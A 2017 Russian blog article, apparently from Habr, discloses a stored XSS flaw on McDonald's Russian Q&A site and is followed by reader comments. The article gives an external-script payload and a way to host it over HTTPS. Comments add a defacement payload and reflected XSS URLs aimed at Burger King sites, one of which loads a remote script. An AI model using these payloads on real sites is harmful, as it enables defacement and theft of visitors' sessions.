Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.

Все началось, когда обычным майским днем я наткнулся на сообщество ВКонтакте, публикующее забавные вопросы людей о продукции Макдоналдс, которые они задавали на некоем сайте. Это выглядело примерно так:


Полистав стену, я заинтересовался и решил посмотреть, что же из себя представляет эта платформа для общения с пользователями — ask.mcdonalds.ru.

Краткий экскурс:

Согласно информации, опубликованной у них же, «Сайт призван максимально подробно ответить на вопросы, которые наиболее часто возникают у наших гостей: о составе, безопасности и качестве продукции Макдоналдс — от поля до прилавка. Поэтому в рамках Сайта мы отвечаем на вопросы, имеющие непосредственное отношение к продукции Макдоналдс.»

Я действительно порадовался, с точки зрения клиента здорово, когда я могу задать вопрос о продукции и получить на него адекватный ответ.

Обнаружение уязвимости


Далее я решил зарегистрироваться и попутно проверил, как экранируются символы, передающиеся посредством формы регистрации. Какого же было мое удивление, когда я увидел, что на страницу в итоге все выводится «как есть». Простой пример:



Таким образом мы видим сразу наличие Stored XSS, которую может использовать каждый, кто пожелает, поскольку обнаружить ее очень просто (кстати, ну и кроме этого, на сайте также присутствует пресловутая logout CSRF).

То есть мы вместе с обычными на первый взгляд именем и фамилией также передаем посредством формы что-нибудь наподобие

<script src=http://site.com/AnyDangerousScript.js></script>  

и получаем возможность выполнения любого нашего скрипта на главной странице сайта при выполнении далее нехитрых действий, но обо всем по порядку.

Я решил проверить уязвимость снова:



Интересный факт
Если вы вдруг захотите еще и прочитать то самое «положение об обработке и защите персональных данных», то сделать это вы, увы, не сможете, поскольку по адресу mcdonalds.ru/legacy нас ждет 404 и вот это

image

Но в этот раз код не выполнился. Открыв консоль, я увидел следующее:



В данном случае, страница передана по протоколу HTTPS, но также содержит контент, передаваемый по обычному, открытому HTTP (мой скрипт). Тогда соединение считается частично зашифрованным, а сама страница называется страницей со смешанным содержимым.

То есть здесь важно, чтобы и скрипт тоже передавался через HTTPS.

Я задумался, где же будет проще всего разместить файл скрипта в таком случае и вспомнил про Google Диск. И именно облачное хранилище от Google здесь придет на помощь, и нужный файл я без проблем получу по защищенному протоколу.

Любой файл, хранящийся у вас на гугл диске, может быть доступен непосредственно по прямой ссылке. Получить ее совсем не сложно:
Делаем файл доступным по ссылке и получаем что-то вроде
https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing

затем берем значение после drive.google.com/file/d/, в нашем случае «AAAAAAAAAAAAAAAAAAA», и подставляем его как значение параметра id в ссылку вида
https://drive.google.com/uc?export=download&id=

Вот и все, теперь нам достаточно зарегистрировать аккаунт, имя которого будет содержать наш код, затем задать какой-либо незатейливый вопрос, дождаться, пока на него ответят и он будет размещен на главной странице.



То есть мы получаем возможность выполнить любой код на главной странице сайта.



Последствия наличия такой уязвимости


Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним. Для настолько крупной компании наличие подобной уязвимости, а точнее эксплуатация ее злоумышленниками, может привести к серьезному экономическому ущербу.

Поскольку это хранимая уязвимость, происходит внедрение собственного (возможно, вредоносного) кода на сервер, выполняющегося каждый раз у пользователя при обращении к оригинальной странице.

И если представить, вариантов использования масса:

  • слежка за посетителями
  • фишинг
  • добавление своих рекламных партнерских программ на сайт
  • распространение вредоносного ПО
  • и многое другое.

А если бы такая уязвимость попала в руки их конкурентов на рынке? Здесь можно действовать еще интереснее, поскольку таким образом имеется полный доступ ко всему содержимому страницы, они могут к тому же изменять текст как вопросов, так и ответов, формируя фальшивые вопросы-ответы, выставляющие всю компанию в дурном свете, или даже рекламируя свою продукцию, что приведет к формированию отрицательного имиджа, потере лояльности клиентов и в перспективе потере части клиентов вообще. Такое использование может быть незаметно на первый взгляд и обнаружение могло бы затянуться.
Да и сам по себе deface сайта опасен, поскольку содержимое именно главной страницы сайта, куда заходит больше всего людей, может быть изменено.

Сообщение компании о наличии уязвимости и итог


Проверив все еще раз и убедившись, что уязвимость присутствует стабильно и не является результатом моего субъективного взаимодействия с сайтом, я решил сообщить компании о ее наличии.

Я обращался на различные электронные адреса, указанные на сайте, писал в сообщения официального сообщества ВКонтакте и на Фейсбук, ответили мне только на Фейсбук, сказав, что все подробности я могу отправить непосредственно им, что я и сделал. Прошло некоторое время, но ничего исправлено не было, я еще раз написал напоминание, что уязвимость все еще присутствует, но ответа не последовало. На данный момент прошло уже более 2 месяцев с момента сообщения всех подробностей, к сожалению, ничего так и не исправлено.

Эксплуатировать уязвимость я не намерен, посему надеюсь, что эта статья также поможет донести информацию до компании, и уязвимость будет исправлена.

Upd.
Как такового негативного эффекта сразу после публикации статьи быть не должно, поскольку перед публикацией так или иначе все вопросы модерируются, и должно пройти время, как минимум, пока на ваш вопрос напишут ответ.
Поделиться с друзьями
-->

Комментарии (53)


  1. user452
    31.07.2017 18:34
    +15

    Картинка
    image


    1. rananyev
      31.07.2017 19:00
      +3

      А что останавливает? :)

      ">')"></stYle/</titLe/</teXtarEa/</scRipt/--!><script>document.write('<center><h1><a href="https://habrahabr.ru/post/334564">Дефейс ask.mcdonalds.ru</a></h1><img src="https://hsto.org/getpro/habr/comment_images/948/6d6/84a/9486d684a7b910a6b7d2732e3eaae9bb.jpg"></img></center>');</script>
      


      1. LionZXY
        01.08.2017 10:21

        Слишком большой скрипт. Ругается на длину имени


        1. KorDen32
          01.08.2017 18:52

          Делаем ссылку на js, в котором document.write, по желанию изменяемый


          1. LionZXY
            01.08.2017 18:56

            Да это понятно :) В любом случае, в качестве теста — почему бы и нет. А вот такой скрипт — нет уж


    1. Antelle
      31.07.2017 23:41
      +2

      Ожидал увидеть другое под катом.


      1. QtRoS
        01.08.2017 00:50
        +5

        Картинка
        image


      1. kekekeks
        01.08.2017 09:46
        +12

        Дефейс хабра 2008-го года поди уже не помнит никто. Или просто не застали.


        1. sidristij
          01.08.2017 13:59
          +2

          С чёрным властелином-то? :D


        1. iClo
          01.08.2017 14:05
          +4

          Он увековечен на Лурке, такое не забывается :)


  1. YaMishar
    31.07.2017 19:39
    +19

    «Что должен сделать хакер, чтобы заработать на чизбургер?»


    1. povargek
      31.07.2017 21:42

      500 чизбургеров скорее


    1. hdfan2
      01.08.2017 13:44
      +7

      Как хорошо, что в Макдаке нет солонок.


  1. oxidmod
    31.07.2017 20:06
    -4

    Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним.


    На сколько я знаю все региональные мак-даки всего лишь шраншиза. Это обычная «Рога и Копыта», которая купила право на вывеску, и сделан сайн таким же ООО «Подвальный Вася Девелопмент» за бесплатный биг-мак))


    1. anador
      31.07.2017 20:19
      +8

      У компании есть официальное представительство в России, и сайт принадлежит не какому-то одному провинциальному ресторану, открытому по франшизе.


      1. kamenevn
        31.07.2017 23:09

        Официальный представитель заказывает услуги создания сайта у PR компании «X» которая забирая часть денег передает это задание компании «Y», которая ищет кого-то за дешево, кто может сделать сайт и имеем, что имеем) Работает это как-то так


      1. Itachi261092
        01.08.2017 13:23
        +13

        если кому то интересно про макдаки — могу много рассказать. у меня жена там работает. Обычно сеть распределена по регионам. то есть за конкретный регион отвечает какой то один ген-дир, который следит за всеми точками своего региона. занимается их продвижением и развитием. делается там всё по стандартам, диктуемым свыше. есть разного уровня проверки и экзамены. просто так с улицы бомж вася не может придти и стряпать вам бургеры. всех заставляют проходить обучение. начиная от младших сотрудников и заканчивая управленческим персоналом. поэтому юридически все макдоналдсы это российские юрлица работающие по франчайзи, и как правило, все они содержат целый регион ресторанов а не 1 точку. их заставляют и вынуждают расширяться и открывать всё больше точек. одного ИПшника или ооошника который откроет один ресторан и будет с ним сидеть — никто там держать не будет. но по качеству хавки получается так, что главное управление макдональдса следит за соблюдением технологий как у поставщиков так и на местах насколько это возможно. в зависимости от места и отношения конкретного директора к правилам и нормам, качество обсулуживания может варьироваться от наивысшего до убогого. Причём лучше всего качество должно быть там, где большой нескончаемый поток клиентов — там правила нарушать сложнее всего и продукция просто не успевает портиться и остывать. если же точка расположена неудачно и поток покупателей переменный, могут быть ситуации когда директор закрывает глаза или даже сам заставляет делать так, чтобы работники не соблюдали таймера на продукцию. то есть пирожки и котлеты, а также картошка и продукция, выложенная из пакетов и холодильников, вся ставится на таймеры от 5 до 25 минут. если она пролежала это время и её не пустили в ход — она должна быть списана по правилам. и её должны выкинуть. в точках с переменным потоком клиентов, это может быть экономически не выгодно и поэтому эти сроки нарушаются. чаще всего это происходит с пирожками и редко покупаемыми товарами. опасности для здоровья это не несёт, но вкус может значительно пострадать. Также есть ситуации когда чмошные менеджеры или директора разбавляют сироп и молочный субстрат для мороженки. на сиропе это сложно заметить, а вот если вам дают рожок который сразу же начинает течь — значит молочная смесь была разбавлена водой (или более редко — не правильно приготовлена или оборудование неисправно). менеджеры которые обслуживают точку, скорее всего сладкоежки, и на халяву жрут мороженку, а чтобы восполнить недостачу доливают в баки воду =))) на такое сразу надо жаловаться директору и писать в жалобную книгу. менеджеров скорее всего уволят. несколько таких жалоб подряд — и уволят директора.


    1. dmitry_dvm
      31.07.2017 23:38

      Несколько лет назад читал интервью с каким-то высокопоставленным чуваком из макдака, он говорил, что все "рестораны" в России их собственные.


      1. kamenevn
        01.08.2017 00:21
        +1

        Что-то мне подсказывает, что это не так. По крайней мере посмотрите в разных ресторанах на чеки, там печатается название юр. лица. В Екатеринбурге, например, в Маке на вокзале и в Маке в центре разные ОООшки были.


        1. Arzanis
          01.08.2017 07:58

          Ничего не значит. В России почти никто не регает все точки под одно юр.лицо.
          Можете проверить в любой сети.


        1. alexey-m-ukolov
          01.08.2017 08:10

          Более того, в Екатеринбурге владелец ресторанов не так давно менялся — кто-то у кого-то их купил.


          1. danial72
            01.08.2017 13:25

            Раньше был 1 владелец, ныне сеть в РФ разбита на 2 части: ООО «СПП» и Старая компания. Старая компания — истинно макдональдовский менеджмент и затраты, СПП — Компания стремящаяся к дичайшей экономии и прибыли.


        1. vehicross
          01.08.2017 08:14

          А где Вы здесь нашли противоречие? Все эти ОООшки могут принадлежать какому-нибудь АО Макдональдс Рус, 100 процентов акций которого, кстати, в свою очередь могут быть во владении какого-нибудь McDonalds Inc. Что автоматически делает все эти, как Вы сказали, ОООшки американскими ресторанами не только в плане бренда, который они используют, но и в плане того, в какую страну в итоге уходят деньги.


        1. Sing
          01.08.2017 11:31

          Да. теперь это не так. Франчайзинговая система в РФ у них работает с 2015.


          1. zikasak
            01.08.2017 18:13

            Вроде, только в Сибири. Хотя могу ошибаться.


      1. Alex_333
        01.08.2017 08:21

        В 2014 году мак начал работать по франшизе в РФ. До этого да, все их «рестораны» были собственные. Но это не просто франшиза — отдельный ресторан вроде как открыть не получится.

        «Нам интересны партнеры, которые могут не просто открыть один или даже несколько ресторанов. Мы заинтересованы в долгосрочном сотрудничестве и ищем тех, кто способен взять в управление не просто ресторан, а целую территорию» (с) Алексей Семенов, управляющий директор «Макдональдс» в России.


        1. Movimento5Litri
          01.08.2017 11:57

          Там франшиза но особенная.
          Владелец должен иметь хотябы половину капитала, не должен иметь других бизнесов и должен сам стоять у кассы.


  1. gurux13
    31.07.2017 21:32
    +1

    Если кто-то, как и я, заинтересовался, воспользовался ли кто-то ещё этим методом, то на 210 страницах (это всё) пока что два имени со скриптом, Евгений Колчин и Савелий Баженов.


    1. anador
      31.07.2017 21:59
      +1

      И оба это мои аккаунты


      1. MnogoBukv
        31.07.2017 23:08
        +1

        Ну автор понял, да, что не только админам сайта, но и кулхацкерам и простым айтишникам просто в лом что-либо тут делать. Никому нафиг, видимо, не нужен какой-то там сайт с глупыми вопросами про картошку. Это ж не банк, много не унесёшь…


        1. compudza
          01.08.2017 11:25
          +7

          Я однажды написал «alert('Админ очищай ввод')» одному пивному ресторану в гостевой книге. Потом они обратились в милицию(sic) по поводу взлома и я имел бледный вид.


          1. Dreyk
            01.08.2017 11:50

            вычислили по почтовому голубю?


            1. compudza
              01.08.2017 12:16
              +2

              Я же прятался, я помочь хотел, вычислили провайдера по ip, а провайдер вычислил меня.


              1. compudza
                01.08.2017 12:54
                +2

                * не прятался…


          1. dalex_v
            01.08.2017 19:10

            А что за это деяние хотели пришить? ну вроде не взлом (или взлом?). Ущерб навряд ли какой нанёс, сайт не испортил, функциональность сайта не пострадала, скорее всего. Где та грань, после которой УК начинается? А то так и за в нике статью припишут.


            1. compudza
              01.08.2017 19:19
              +2

              Там проблема была, как я понял, в админе, он два дня не мог JS отключить и из-за алерта ничего не мог делать с отзывами. Т.е. он два дня «чинил» сайт.
              Пришить — не знаю, т.к. решилось всё раньше: милиция позвонила провайдеру, провайдер позвонил мне (т.к. мы пиво вместе пили =) и всё закончилось тем, что мне пришлось звонить в ресторан, извиняться и объяснять, что я не хотел портить ничего, а хотел предупредить о проблеме. Больше милиция никого не трогала, шел 2003 год… А сейчас могли бы и палку срубить, кулхацкера скрутить, имхо.


            1. compudza
              01.08.2017 19:24

              А то так и за в нике статью припишут.

              Именно по этому я и рассказал свою историю. Иногда добрые намерения приводят к недобрым последствиям. Не все понимают взлом как помощь. Как вариант: кто-то напишет статью по мотивам поста типа «Хакеры взломали МакДак и два месяца воровали данные пользователей» и в МакДаке сверху вниз начнут бить по шапкам. Надо будет крайнего искать, а от вот… И закрутится маховик правосудия! ттт


  1. kowap
    01.08.2017 11:27

    Там регистрацию скрыли. Просто display:none на попап поставили :D


    1. anador
      01.08.2017 11:28
      -1

      У меня лично ничего не скрыто

      image


      1. kowap
        01.08.2017 11:35

        Оу, видимо вход только для юзеров из россии


        1. anador
          01.08.2017 11:40
          -1

          Да, так было и ранее, это у них по-умолчанию принято. Вот цитата из FAQ

          image


  1. inwady
    01.08.2017 16:19
    -1

    Сайт кто-то сломал. Все вопросы скрыли. Вот картинка.

    Тут конечно очень странная ситуация со «взломом». Может было лучше, если никто бы об этом не знал?


    1. inwady
      01.08.2017 16:37
      -1

      Так, эта история была бы у mcdonalds и у вас. Сейчас же она у всего habr-а. Может быть у этой «франшизы» просто нет ресурсов и программистов закрыть ее, может быть люди не имеют необходимых знаний для понимания этой уязвимости. Боюсь, что эта история не закончится увольнением рядовых администраторов сайта (что уже достаточно печально).


      1. Fafhrd
        01.08.2017 18:15

        Это проблема не администраторов, а криворуких разработчиков.


  1. nmk2002
    01.08.2017 17:12

    Сейчас зарегистрироваться не получилось. Выскакивает сообщение:
    «Необходимо заполнить поле «Согласие на обработку персональных данных».»
    Само согласие теперь добавили в форму регистрации полным текстом.

    Пока на хабр не напишешь об уязвимости, никто ничего делать не хочет. А теперь похоже засуетились.


  1. rananyev
    01.08.2017 17:49
    +3

    Так, а мне надо писать статью на habr с этим?

    https://burgerking.ru/search?txtSearch=2134%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CScript%20/K%3Es = document.createElement('script'); s.src = '//ananev.me/xss.js'; document.body.appendChild(s);%3C/Script/%3E#


    1. mitinsvyat
      01.08.2017 18:02

      рефлектед ток в лисе норм пашут :'(


    1. Illanius
      01.08.2017 20:26

      Спасибо большое за ссылку. Она сделала мой день =D


      1. rananyev
        02.08.2017 10:52

        Вот еще прикольное. Можно к ним на тусу сгонять в Мск http://internal.burgerking.ru

        Ой, да, точно
        <!'/*!"/*!//'/*//"/*--!><Input/Autofocus/%0D*/Onfocus=alert(document.domain)//>

        image


  1. noroots
    01.08.2017 18:10

    Не удивлюсь, если сайт делали в Yumalabs. В списке клиентов они есть. Те, кто знает директора, поймет.


    1. Fafhrd
      01.08.2017 18:23

      Это не они.
      Не стоит обвинять их, какие бы они не были.

      В гугл с запросом Разработка ask.mcdonalds.ru

      Смотрим 3-ю строчку


  1. smilyfox
    01.08.2017 20:26
    +5

    Посмотрел портфолио разработчиков — ткнул в первый попавшийся сайт — «Общественная приемная города Жуковский» — css там тоже в наличии. У ребят системный подход к своей работе )))


  1. w9w
    01.08.2017 22:15

    Делал похожий дефейс на платёжной системе, 2 000 alexarank в мире, щедро заплатили.Позволяла воровать cookies у юзеров, а также токены для доступа к их файловому хранилищу.